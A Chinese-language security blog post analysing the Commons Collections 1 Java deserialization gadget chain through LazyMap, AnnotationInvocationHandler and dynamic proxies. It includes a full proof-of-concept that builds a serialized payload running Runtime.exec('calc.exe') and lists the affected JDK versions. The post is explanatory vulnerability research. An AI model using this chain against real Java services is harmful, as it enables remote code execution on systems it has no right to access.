Java安全之Commons Collections1分析（三）
0x00 前言
繼續來分析cc鏈，用了前面幾篇文章來鋪墊了一些知識。在上篇文章里，其實是硬看代碼，並沒有去調試。因為一直找不到JDK的低版本。 全靠腦子去記傳參內容嘗試理解。后面的其實就簡單多了，在上篇文章的基礎上再去做一個分析。
0x01 CC鏈的另一種構造方式
上篇文章說到使用LazyMap 的get方法也可以去觸發命令執行。因為LazyMap 的get方法在
這里看到this.factory變量會去調用transform方法。前面也分析了該類構造方法是一個protected修飾的。不可被直接new。需要使用decorate工廠方法去提供。那么在前面我們調用該方法並傳入innerMap和transformerChain參數。
這里的innerMap是一個Map的對象，transformerChain是一個ChainedTransformer修飾過的Transformer[]數組。
Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
傳入過后，LazyMap 的get方法方法里面的this.factory為Transformer[]數組，這時候去調用就會執行transform方法，而ChainedTransformer的transform方法又會去遍歷調用Transformer[]里面的transform方法，導致使用方式的方式傳入的Runtime調用了exec執行了calc.exe彈出一個計算器。
當然在實際中，我們還需要借助其他的類去調用這個get方法。
而在AnnotationInvocationHandler的invoke就會去調用get方法。
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
這里特地標出來
Object var6 = this.memberValues.get(var4);
前面說過 構造方法傳入的是transformerChain， this.memberValues=transformerChain this.memberValues 是一個ChainedTransformer修飾過的Transformer[]數組。這時候調用get，get方法調用transform,又回到了剛剛的話題上了。
AnnotationInvocationHandler的invoke怎么去調用呢？
在這里會使用到動態代理的方式去調用到該方法。關於動態代理可以參考該篇文章動態代理機制。
0x02 動態代理
關於動態代理，在這里其實還是有必要單獨拿出來說一下動態代理這個機制。
動態代理的實現：
Proxy.newProxyInstance(Person.class.getClassLoader(), Class<?>[]interfaces,InvocationHandler h)
-
第一個參數：People.getClass().getClassLoader()，使用handler對象的
classloader對象來加載我們的代理對象 -
第二個參數：Person.getClass().getInterfaces()，這里為代理類提供的接口 是真實對象實現的接口，這樣代理對象就能像真實對象一樣調用接口中的所有方法
-
第三個參數：我們將代理對象關聯到上面的InvocationHandler對象上
0x03 POC 分析
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(handler);
}
主要是來看這一段代碼
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
這里的handler是反射創建的一個 AnnotationInvocationHandler類。而AnnotationInvocationHandler中實現了InvocationHandler接口，可以直接作為調用處理器傳入。
那么在這段poc的執行中執行反序列化的時候，AnnotationInvocationHandler重寫了readObject()方法，所以調用的是AnnotationInvocationHandler的readObject()方法。readObject()方法會去調用memberValues的entrySet()方法。這里的memberValues是構造方法傳入進來的參數，我們是使用反射的方式對他進行創建傳入的是proxyMap。
對應的代碼：
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
因為proxyMap是我們的代理對象，所以調用proxyMap的entrySet()會觸發到AnnotationInvocationHandler的invoke()方法進行執行。這也是動態代理的一個特性，代理對象調用任意方法，調用處理器中的invoke()方法都執行一次。
執行AnnotationInvocationHandler的invoke()方法后又會調用get方法，再次回到剛剛的地方了。
LazyMap 的get方法方法里面的this.factory為Transformer[]數組，這時候去調用就會執行transform方法，而ChainedTransformer的transform方法又會去遍歷調用Transformer[]里面的transform方法，導致使用方式的方式傳入的Runtime調用了exec執行了calc.exe彈出一個計算器。
那么就剛好對應了前面標出來的一個利用鏈
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
0x04 結尾
在CC1這條鏈里面其實是有版本限制的，在高版本無法使用。因為AnnotationInvocationHandler的readObject()復寫點這個地方在高版本中是進行了改動。在其他大佬測試中jdk1.7u21、jdk1.8_101、jdk1.8_171這幾個版本是可用的。